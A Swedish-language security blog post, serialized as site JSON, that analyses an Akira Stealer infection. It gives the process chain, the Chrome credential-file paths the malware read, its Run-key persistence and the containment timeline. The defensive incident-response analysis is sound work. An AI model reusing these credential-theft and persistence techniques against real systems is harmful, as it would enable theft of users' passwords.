[{"data":1,"prerenderedAt":13654},["ShallowReactive",2],{"sc:header-data-sv":3,"sc:footer-data-sv":489,"post-sv--posts-2025-06-16-quiet-breach-1445fe6971adcc":519,"authors_data":13069,"content-sv-list-7b291c2dd91a4":13423,"authors_data:Pascal Asch":13651},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"sv":13},{"title":14,"url":15,"alt":16},"Hem","/sv","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"sv":21},{"title":22,"description":23},"Workplace","Microsoft 365-driven för smarta, säkra och flexibla arbetsmiljöer som förenar den senaste tekniken och identitetslösningar.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"sv":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"sv":34},{"title":35,"url":36},"Managed Intune","/sv/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"sv":40},{"title":41,"url":42},"Managed Entra","/sv/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"sv":46},{"title":47,"url":48},"Managed Workplace","/sv/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"sv":52},{"title":53,"url":54},"Consulting Services","/sv/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"sv":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"sv":64},{"title":65,"url":66},"Microsoft Entra Suite","/sv/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"sv":70},{"title":71,"url":72},"Microsoft Intune","/sv/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"sv":76},{"title":77,"url":78},"Microsoft Windows","/sv/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"sv":82},{"title":83,"url":84},"Windows 365 Cloud PC","/sv/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"sv":88},{"title":89,"url":90},"Cloud Workplace Foundation","/sv/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"sv":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"sv":100},{"title":101,"url":102},"Microsoft 365 Copilot","/sv/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"sv":106},{"title":107,"url":108},"Teams","/sv/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"sv":112},{"title":113,"url":114},"SharePoint & Power Platform","/sv/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"sv":118},{"title":119,"url":120},"Exchange Online","/sv/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"sv":124},{"title":125,"url":126},"Information Protection & Compliance","/sv/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"sv":130},{"title":131,"description":132},"Azure","Driv tillväxt med Azure: Sänk molnkostnaderna, öka effektiviteten och driv innovation genom IaaS och PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"sv":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"sv":142},{"title":143,"url":144},"Azure Managed Services","/sv/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"sv":148},{"title":149,"url":150},"Azure Consulting","/sv/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"sv":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"sv":160},{"title":161,"url":162},"Planera ditt moln","/sv/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"sv":166},{"title":167,"url":168},"Migrera till molnet","/sv/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"sv":172},{"title":173,"url":174},"Förnya din verksamhet","/sv/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"sv":178},{"title":179,"url":180},"Ompröva din VMware-strategi","/sv/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"sv":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"sv":190},{"title":191,"url":192},"Azure Foundation","/sv/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"sv":196},{"title":197,"url":198},"Azure AI Foundation","/sv/azure/azure-ai-foundation",{"name":86,"languages":200},{"sv":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"sv":205},{"title":206,"url":207},"Azure Data Foundation","/sv/azure/azure-data-foundation",{"name":188,"languages":209},{"sv":210},{"title":211,"url":212},"Azure Container Foundation","/sv/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"sv":216},{"title":217,"url":218},"Managed Dark Tenant","/sv/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"sv":222},{"title":223,"url":224},"Cloud Adoption Framework","/sv/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"sv":228},{"title":229,"url":230},"Cloud Competence Center","/sv/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"sv":234},{"title":235,"description":236,"emergency":237},"Säkerhet","Vaksamhet i molnet med en prisbelönt managed service dygnet runt, incident response och toppmodernt skydd för din infrastruktur.",{"text":238,"href":239,"skin":240,"icon":241},"Attackerad?","/sv/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"sv":249},{"title":250,"url":251},"Managed Red Tenant","/sv/security/managed-red-tenant",{"name":214,"languages":253},{"sv":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"sv":259},{"title":260,"url":261},"Sentinel Data Lake","/sv/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"sv":265},{"title":266,"url":267},"Security Consulting","/sv/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"sv":274},{"title":275,"url":276},"Cloud Security Operations Center","/sv/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"sv":280},{"title":281,"url":282},"Global Secure Access","/sv/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"sv":286},{"title":287,"url":288},"MyWorkID","/sv/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"sv":295},{"title":296,"url":297},"Preventive Services","/sv/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"sv":301},{"title":302,"url":303},"Data Security Service","/sv/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"sv":307},{"title":308,"url":309},"Security Copilot Agents","/sv/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"sv":313},{"title":314,"url":315},"Implementera NIS2","/sv/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"sv":319},{"title":320,"description":321},"Produkter","Innovativa kompletterande produkter för en helt säker, 100% cloud-native Microsoft-miljö som förbättrar samarbete, nätverksautentisering och programvaruhantering.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"sv":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Molnbaserad programvarudistribution",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"sv":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certifikatdistribution från molnet",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"sv":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Arbeta lokalt med dina Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"sv":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrera dina data från en server till en annan",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"sv":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider för Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"sv":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentisering för ditt nätverk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"sv":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Hitta kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"sv":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-övervakning i realtid",{"name":396,"languages":397},"casestudies",{"sv":398},{"title":399,"url":400,"description":401},"Kundcase","/sv/casestudies","Pionjär i molnet: Din främsta Microsoft-partner för heltäckande molnlösningar med ett Blueprint-baserat tillvägagångssätt och expertis inom Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"sv":405},{"title":406,"description":401},"Företag",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"sv":411},{"title":412},"Om oss",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"sv":417},{"title":418,"url":419},"Fakta och siffror","/sv/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"sv":423},{"title":424,"url":425},"Kontakt och platser","/sv/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"sv":429},{"title":430,"url":431},"glueckkanja Schweiz","/sv/company/switzerland",{"name":433,"languages":434},"austria",{"sv":435},{"title":436,"url":437},"glueckkanja Österrike","/sv/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"sv":441},{"title":442},"Karriär",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"sv":447},{"title":448,"url":449},"Karriäröversikt","/sv/career",{"name":451,"languages":452},"company-young-professionals",{"sv":453},{"title":454,"url":455},"Young Professionals","/sv/young-professionals",{"name":457,"languages":458},"company-jobs",{"sv":459},{"title":460,"url":461},"Lediga jobb","/sv/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"sv":465},{"title":466},"Aktuellt",[468,474],{"name":469,"languages":470},"company-blog",{"sv":471},{"title":472,"url":473},"Blogg","/sv/blog",{"name":469,"languages":475},{"sv":476},{"title":477,"url":478},"Event","/sv/events",[480],{"name":481,"languages":482},"career-meta",{"sv":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"sv":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksSv":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Integritetspolicy","/sv/privacy",{"title":514,"url":515},"Juridisk information","/sv/imprint",{"title":517,"url":518},"Inga cookies","/sv/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":535,"eventid":494,"extension":12941,"hideInRecent":484,"layout":12942,"meta":12943,"moment":12947,"navigation":325,"path":13060,"seo":13061,"stem":13062,"tags":13063,"webcast":484,"__hash__":13068},"content_sv/posts/2025-06-16-quiet-breach.md","Inuti Akira Stealer: En fullständig teknisk analys av en modulär stealer",[523],"Pascal Asch",{"type":525,"value":526,"toc":12796},"minimal",[527,532,536,544,547,566,569,587,597,600,603,627,635,646,653,656,659,674,681,684,687,701,705,707,713,718,721,724,736,745,752,755,761,764,768,770,775,782,785,789,791,794,820,826,832,836,838,841,845,847,850,852,858,861,866,869,879,882,885,905,908,915,922,924,930,933,939,942,977,980,989,995,1004,1007,1018,1021,1028,1030,1039,1049,1081,1087,1092,1114,1120,1123,1126,1132,1140,1147,1149,1152,1164,1167,1201,1207,1234,1243,1246,1251,1260,1262,1271,1277,1294,1297,1302,1336,1340,1343,1346,1352,1366,1372,1378,1380,1385,1389,1391,1471,1474,1478,1480,1485,1491,1496,1505,1510,1515,1526,1529,1534,1543,1549,1552,1556,1558,1569,1574,1596,1602,1611,1622,1629,1635,1639,1641,1647,1673,1676,1690,1693,1702,1705,1709,1711,1719,1722,1725,1738,1748,1755,1776,1779,1785,1789,1791,1794,1803,1815,1840,1846,1852,1855,1862,1865,1878,1885,1887,1894,1898,1900,1906,2004,2011,2018,2020,2023,2046,2049,2079,2082,2124,2127,2136,2139,2156,2162,2165,2174,2177,2190,2197,2201,2203,2209,2231,2238,2272,2275,2290,2297,2302,2313,2316,2320,2322,2325,2340,2347,2358,2369,2406,2413,2416,2420,2422,2428,2433,2473,2476,2491,2494,2503,2509,2512,2516,2518,2521,2530,2533,2580,2587,2591,2593,2599,2604,2633,2640,2642,2658,2662,2664,2667,2706,2712,2718,2722,2724,2743,2753,2760,2797,2804,2850,2858,2862,2864,2867,2895,2905,2912,2914,2919,2923,2925,2931,2935,2937,2944,2970,2977,3237,3240,3245,3248,3281,3286,3290,3292,3295,3299,3301,3304,3406,3409,3413,3415,3418,3581,3584,3607,3611,3613,3621,3866,3869,3898,3902,3904,3937,3940,3943,3973,3977,3979,3985,3990,3993,4011,4014,4022,4027,4030,4110,4118,4121,4127,4135,4139,4141,4147,4152,4155,4172,4179,4184,4190,4252,4266,4271,4277,4304,4307,4345,4348,4353,4356,4370,4374,4376,4381,4401,4408,4414,4416,4420,4422,4428,4432,4434,4438,4440,4445,4472,4478,4482,4484,4490,4507,4533,4540,4544,4546,4549,4558,4572,4575,4579,4581,4594,4597,4606,4611,4618,4620,4624,4626,4636,4640,4642,4648,4662,4676,4680,4682,4765,4768,4775,4777,4782,4840,4847,4973,4976,5121,5125,5127,5130,5184,5187,5191,5193,5200,5253,5256,5260,5262,5265,5317,5320,5324,5326,5333,5385,5388,5392,5394,5401,5442,5445,5449,5451,5458,5540,5543,5547,5549,5552,5599,5602,5607,5610,5613,5617,5619,5624,5630,5635,5641,5646,5652,5657,5663,5668,6069,6073,6075,6116,6120,6122,6130,6134,6136,6146,6151,6176,6197,6202,6288,6292,6294,6387,6390,6396,6403,6405,6408,6463,6518,6525,6527,6530,6565,6600,6607,6609,6612,6645,6679,6686,6688,6691,6760,6805,6812,6814,6817,6845,6876,6883,6885,6888,6916,6938,6948,6950,6953,6978,7015,7019,7021,7054,7058,7060,7063,7066,7069,7072,7075,7080,7105,7110,7140,7146,7155,7177,7386,7390,7392,7399,7497,7500,7504,7506,7513,7606,7616,7622,7625,7630,7636,7664,7669,7699,7753,7772,7775,7780,7829,7833,7835,7838,7842,7844,7850,7970,7990,7994,7996,8001,8075,8096,8100,8102,8105,8108,8111,8114,8213,8221,8225,8227,8232,8267,8289,8293,8295,8298,8301,8309,8312,8400,8414,8418,8420,8423,8426,8519,8525,8527,8533,8537,8539,8542,8607,8624,8627,8661,8664,8668,8670,8675,8689,8734,8760,8765,8778,8854,8909,8913,8915,8918,8924,8965,8975,8981,8991,8995,8997,9000,9029,9056,9062,9066,9068,9075,9082,9084,9089,9144,9172,9176,9178,9181,9246,9253,9292,9296,9298,9304,9319,9322,9357,9361,9363,9370,9414,9428,9434,9441,9443,9446,9450,9452,9455,9489,9492,9517,9521,9523,9528,9531,9555,9579,9583,9585,9588,9612,9616,9618,9621,9641,9645,9647,9650,9657,9770,9775,9820,9824,9826,9833,9867,9922,9927,9930,9934,9936,9939,9943,9945,9948,9954,9958,9960,9963,10018,10033,10037,10039,10050,10119,10128,10133,10136,10180,10182,10186,10188,10191,10280,10285,10414,10418,10420,10423,10428,10501,10519,10524,10544,10552,10557,10563,10578,10595,10601,10659,10679,10684,10701,10706,10750,10764,10767,10771,10773,10778,10782,10784,10791,10798,10802,10804,10915,10922,10926,10928,10934,10939,11020,11027,11034,11038,11040,11043,11072,11079,11083,11085,11089,11091,11098,11101,11104,11107,11251,11254,11258,11260,11263,11267,11269,11272,11307,11313,11317,11319,11322,11348,11351,11357,11361,11363,11368,11385,11391,11395,11397,11401,11403,11419,11442,11449,11465,11484,11487,11490,11492,11503,11507,11509,11943,11946,11950,11952,11958,11961,11964,11970,11973,11984,11990,11993,11998,12002,12004,12007,12012,12026,12030,12032,12329,12332,12336,12338,12450,12453,12457,12459,12514,12517,12521,12523,12686,12689,12693,12695,12736,12739,12743,12745,12748,12751,12754,12757,12760,12763,12768,12772,12774,12777,12780,12783,12786,12789,12792],[528,529,531],"h1",{"id":530},"prolog","Prolog",[533,534,535],"p",{},"{: .h3-font-size}",[533,537,538,539,543],{},"Det började som så många moderna attacker gör: tyst. En Defender-varning med låg konfidens, ",[540,541,542],"strong",{},"\"Suspicious sequence of exploration activities\"",", dök upp under onboardingfasen av en ny kund i vårt glueckkanja Cyber Security Operations Center (CSOC).",[533,545,546],{},"Det fanns inga signaturträffar. Inga klassificeringar av skadlig kod. Ingen respons från realtidsskyddet. Bara en enda beteendekorrelation i Microsoft 365 Defender, begravd i bruset, och ändå omisskännligt fel.",[533,548,549,550,554,555,558,559,562,563],{},"Under triagen av varningen fångade en specifik åtgärd min uppmärksamhet: ",[551,552,553],"code",{},"python.exe"," hade kommit åt både filen ",[551,556,557],{},"Login Data"," och ",[551,560,561],{},"Web Data"," i en Chromium-profil. Microsoft Defender eskalerade omedelbart detta till en incident med hög allvarlighetsgrad, ",[540,564,565],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[533,567,568],{},"Det här var ingen falsk positiv. Det var toppen av något djupare.",[533,570,571,572,575,576,579,580,583,584,586],{},"När jag spårade telemetrin bakåt hittade jag en generisk binär i startmappen, ",[551,573,574],{},"Updater.exe",", som startade en NodeJS-baserad wrapper (",[551,577,578],{},"main.exe",") som körde en kommandorad för att starta ett skript vid namn ",[551,581,582],{},"astor.py"," via ",[551,585,553],{},".",[588,589,595],"pre",{"className":590,"code":592,"language":593,"meta":594},[591],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text","",[551,596,592],{"__ignoreMap":594},[533,598,599],{},"Skriptet skrapade inte bara inloggningsuppgifter, det utförde en sekvens av spaningssteg efter kompromettering, inklusive registerförfrågningar, systemfingeravtryck och behörighetsmedveten uppräkning. Det arbetade med kirurgisk precision och efterliknade systemets eget beteende för att undgå upptäckt. Och det fungerade, nästan.",[533,601,602],{},"Vid tidpunkten för den första insatsen:",[604,605,606,616,624],"ul",{},[607,608,609,611,612,615],"li",{},[551,610,574],{}," flaggades av bara ",[540,613,614],{},"1 av 69"," motorer på VirusTotal.",[607,617,618,620,621,623],{},[551,619,578],{},", ",[551,622,582],{}," och alla tillhörande komponenter flaggades i princip inte alls på VirusTotal.",[607,625,626],{},"Inga filer var signerade. Ingen förhöjd kontext. Bara \"vanliga\" processer som gjorde mycket ovanliga saker.",[533,628,629,631,632,634],{},[551,630,574],{}," rörde inte inloggningsuppgifterna. Den uppgiften var reserverad för ",[551,633,582],{},", den minnesbaserade Python-payloaden, en fil som per design nästan inte lämnade några spår.",[533,636,637,638,641,642,645],{},"Inom ",[540,639,640],{},"21 minuter"," isolerades det påverkade systemet från nätverket. Inom ",[540,643,644],{},"70 minuter"," roterades inloggningsuppgifterna över alla påverkade omfattningar: interna identiteter, SaaS-plattformar, tredjepartstjänster.",[533,647,648,649,652],{},"Men den verkliga vändpunkten kom när vi extraherade och fullständigt dekrypterade Python-payloaden. Det vi hittade var inte en generisk stealer, det var en anpassad distribution av ",[540,650,651],{},"Akira Stealer v2",", en kommersiellt distribuerad familj av skadlig kod som säljs via Telegram.",[533,654,655],{},"Tack vare vår interna threat intelligence och våra reverse engineering-förmågor kunde vi rekonstruera skadekodens fullständiga funktionalitet, extrahera alla inbäddade indikatorer och i detalj förstå dess logik för staging, exfiltrering och val av inloggningsuppgifter.",[533,657,658],{},"Ännu viktigare, vi stannade inte vid teknisk attribuering. Vi gick längre.",[533,660,661,662,665,666,669,670,673],{},"Vi kunde förse kunden med ett ",[540,663,664],{},"komplett dataset över exfiltrerade inloggningsuppgifter",": över ",[540,667,668],{},"100 unika kombinationer av användarnamn och lösenord",", inklusive åtkomstuppgifter till molntjänster, CRM-system, interna plattformar och till och med personliga verktyg som nyckelmedarbetare använde. Stölden hade pågått i ",[540,671,672],{},"månader",", och vi kunde redogöra för allt.",[533,675,676,677,680],{},"Med hjälp av insikterna från det här fallet byggde vi ett ",[540,678,679],{},"analysverktyg för efterinfektion"," som skannar påverkade system, rekonstruerar mönster för åtkomst till inloggningsuppgifter och genererar detaljerade forensiska rapporter, som visar exakt vad som stals, när och varifrån.",[533,682,683],{},"Vi bjuder på en glimt av den skannern i slutet av den här rapporten.",[533,685,686],{},"För det här är mer än bara en incident.\nSå här utreder vi. Så här skyddar vi.",[533,688,689,697,700],{},[540,690,691,692,586],{},"Välkommen till ",[693,694,696],"a",{"href":695},"/sv/security/cloud-security-operations-center/","glueckkanja CSOC",[698,699],"br",{},"\nSå här arbetar vi, för intrång väntar inte.",[528,702,704],{"id":703},"_1-ursprunglig-händelse-och-triage-sammanfattning","1. Ursprunglig händelse och triage-sammanfattning",[533,706,535],{},[533,708,709,710,712],{},"Den 31 mars 2025 genererade Microsoft Defender for Endpoint en varning med etiketten ",[540,711,542],{}," på en Windows 10 64-bitars endpoint. Jag inledde triagen utifrån denna signal och granskade det påverkade systemet med hjälp av processträdet, systemets tidslinje och de bevis som Defender korrelerat.",[714,715,717],"h2",{"id":716},"_11-tidslinjebaserad-triage","1.1 Tidslinjebaserad triage",[533,719,720],{},"{: .h4-font-size}",[533,722,723],{},"Varningen pekade på en sekvens av processer som motiverade närmare inspektion. Under den inledande granskningen observerade jag följande åtkomstmönster till Chrome-webbläsardata i den lokala användarprofilen:",[604,725,726,731],{},[607,727,728],{},[551,729,730],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[607,732,733],{},[551,734,735],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[533,737,738,739,741,742,744],{},"Dessa åtkomster initierades av en process vid namn ",[551,740,574],{},". Även om Microsoft Defender inte hade flaggat binären utifrån heuristisk eller beteendemässig analys, hittade jag en detektion för ",[551,743,574],{}," på VirusTotal, flaggad av en enda motor vid den tidpunkten.",[533,746,747],{},[748,749],"img",{"alt":750,"src":751},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[533,753,754],{},"Den fullständiga observerade exekveringskedjan såg ut så här:",[588,756,759],{"className":757,"code":758,"language":593,"meta":594},[591],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[551,760,758],{"__ignoreMap":594},[533,762,763],{},"I det här skedet hade ingen djupare statisk eller dynamisk analys av de inblandade filerna utförts. Mitt fokus låg på att förstå beteendet och kontexten på en övergripande nivå. Processnamnen och filsökvägarna var generiska, och inga misstänkta kommandoradsargument fanns utöver den kedjade Python-exekveringen.",[714,765,767],{"id":766},"_12-första-insatsen","1.2 Första insatsen",[533,769,720],{},[533,771,637,772,774],{},[540,773,640],{}," efter den första varningen initierade jag hostisolering med hjälp av isoleringsfunktionerna i Defender for Endpoint. Målet var att förhindra möjlig ytterligare spridning eller exfiltrering.",[533,776,777,778,781],{},"Inom de första ",[540,779,780],{},"70 minuterna"," gick vi vidare med att rotera inloggningsuppgifter som var kända för att användas på den påverkade hosten, vilket täckte interna system, SaaS-plattformar och kritiska tredjepartsleverantörer.",[533,783,784],{},"Reverse engineering-processen inleddes efter den första inneslutningen. Följande avsnitt dokumenterar den tekniska fördjupningen som följde för att utreda intrånget.",[714,786,788],{"id":787},"_13-sammanfattning-av-insatsen-snabb-transparent-effektdriven","1.3 Sammanfattning av insatsen: snabb, transparent, effektdriven",[533,790,720],{},[533,792,793],{},"Vår insats kombinerade snabbhet, expertis och operativ excellens, med stöd av beprövade arbetsflöden och full insyn för kunden.",[604,795,796,802,808,814],{},[607,797,798,801],{},[540,799,800],{},"Från detektion till full inneslutning på under 90 minuter","\nDefender-varningar, nätverksisolering, antivirusskanning och återkallande av inloggningsuppgifter utfördes snabbt och samordnat.",[607,803,804,807],{},[540,805,806],{},"Fördjupad forensisk insats inom 48 timmar","\nInklusive fullständig disk- och minnesanalys, granskning av webbläsarartefakter, detektering av credential dumping och beteendemässig rekonstruktion av angriparens aktivitet.",[607,809,810,813],{},[540,811,812],{},"Säker dataåterställning och bevishantering","\nDen stulna datan, inklusive cookies, lösenord, tokens och webbläsarprofiler, återställdes, arkiverades forensiskt och överlämnades säkert till kunden.",[607,815,816,819],{},[540,817,818],{},"Insyn och kommunikation från början till slut","\nVarje steg, från första varning till åtgärd och genomgång, dokumenterades fullständigt, delades i realtid och sammanfattades i en strukturerad CSIRT-överlämning.",[821,822,823],"blockquote",{},[533,824,825],{},"Den här incidenten visar hur glueckkanja CSOC inte bara stoppar skadlig kod, vi monterar ner dess effekter, återställer kontrollen till våra kunder och förvandlar varje incident till insikt.",[827,828],"div",{"className":829},[830,831],"space-top-1","space-bottom-1",[528,833,835],{"id":834},"_2-skadlig-kods-arkitektur-och-exekveringskedja","2. Skadlig kods arkitektur och exekveringskedja",[533,837,535],{},[533,839,840],{},"Den skadliga kod som observerades på den påverkade endpointen följde en strukturerad arkitektur i flera steg med tydlig ansvarsfördelning: distribution, avkodning, exekvering och dataexfiltrering.",[714,842,844],{"id":843},"_21-översikt-över-exekveringskedjan","2.1 Översikt över exekveringskedjan",[533,846,720],{},[533,848,849],{},"Det observerade exekveringsflödet såg ut så här:",[533,851,574],{},[588,853,856],{"className":854,"code":855,"language":593},[591],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[551,857,855],{"__ignoreMap":594},[533,859,860],{},"Varje komponent i kedjan bidrog till smygförmåga, modularitet och undanflykt. Arkitekturen utnyttjade legitima runtimes och standardtolkar i operativsystemet för att kringgå detekteringsmekanismer.",[862,863,865],"h3",{"id":864},"_211-osäkert-ursprung-saknad-initial-vektor","2.1.1 Osäkert ursprung: saknad initial vektor",[533,867,868],{},"{: .font-size-4}",[533,870,871,872,875,876,586],{},"Trots omfattande analys av miljön efter kompromettering kunde den initiala åtkomstvektorn inte fastställas med säkerhet. Denna osäkerhet beror främst på att den skadliga koden hade varit aktiv i uppskattningsvis ",[540,873,874],{},"sex månader innan den upptäcktes",", vilket överskrider den ",[540,877,878],{},"loggretentionsperiod som Microsoft Defender for Endpoint tillämpar",[533,880,881],{},"Som en följd av detta fanns ingen telemetri eller några forensiska artefakter tillgängliga från den ursprungliga infektionstidpunkten. Inga ursprungliga processkapningshändelser, fildroppar eller kommandoradsposter kopplade till leveransstadiet gick att återskapa från Defenders tidslinje eller tillhörande sensorer.",[533,883,884],{},"Baserat på kontextuella indikatorer och OSINT-källor kan en trolig infektionsvektor ha involverat:",[604,886,887,893,899],{},[607,888,889,892],{},[540,890,891],{},"Trojaniserade installationsprogram"," för crackad eller moddad spelprogramvara",[607,894,895,898],{},[540,896,897],{},"Falska verktyg"," eller \"prestandaboostare\" som distribueras via forum och tredjepartssajter",[607,900,901,904],{},[540,902,903],{},"Skadliga webbläsartillägg"," riktade mot specifika användarintressen (t.ex. kryptorelaterade verktyg eller Discord-förbättringar)",[533,906,907],{},"Detta förblir dock spekulativt.",[533,909,910,911,914],{},"Ingen bekräftad dropper, nätfiskemejl eller komprometterad webbplats kunde identifieras under utredningen. Även om den skadliga kodens arkitektur och exekveringskedja rekonstruerades fullständigt kunde den ",[540,912,913],{},"ursprungliga komprometteringspunkten (MITRE ATT&CK T1190 / T1566)"," inte valideras.",[862,916,918,919,921],{"id":917},"_212-updaterexe-initial-loader","2.1.2 ",[551,920,574],{}," – Initial loader",[533,923,868],{},[533,925,926,927,929],{},"När jag granskade processträdet i Microsoft 365 Defender stack ",[551,928,574],{}," omedelbart ut, inte på grund av vad den gjorde, utan hur tyst den bäddade in sig i systemets exekveringsflöde.",[533,931,932],{},"Denna binär registrerades för automatisk körning via standardnyckeln Run i Windows:",[588,934,937],{"className":935,"code":936,"language":593},[591],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[551,938,936],{"__ignoreMap":594},[533,940,941],{},"Det innebar att den skulle startas varje gång användaren loggade in i sin session, en klassisk persistensmekanism som inte kräver några förhöjda behörigheter och ofta slinker igenom obemärkt i EDR-telemetri.",[604,943,944,950,956,962,968],{},[607,945,946,949],{},[540,947,948],{},"Filtyp",": Windows PE-körbar fil (32-bitars)",[607,951,952,955],{},[540,953,954],{},"Signatur",": Osignerad",[607,957,958,961],{},[540,959,960],{},"VirusTotal-detektion",": 1 av 69 motorer vid tidpunkten för triagen",[607,963,964,967],{},[540,965,966],{},"Exekveringskontext",": Medelhög integritet, användarsession",[607,969,970,973,974],{},[540,971,972],{},"Plats",": 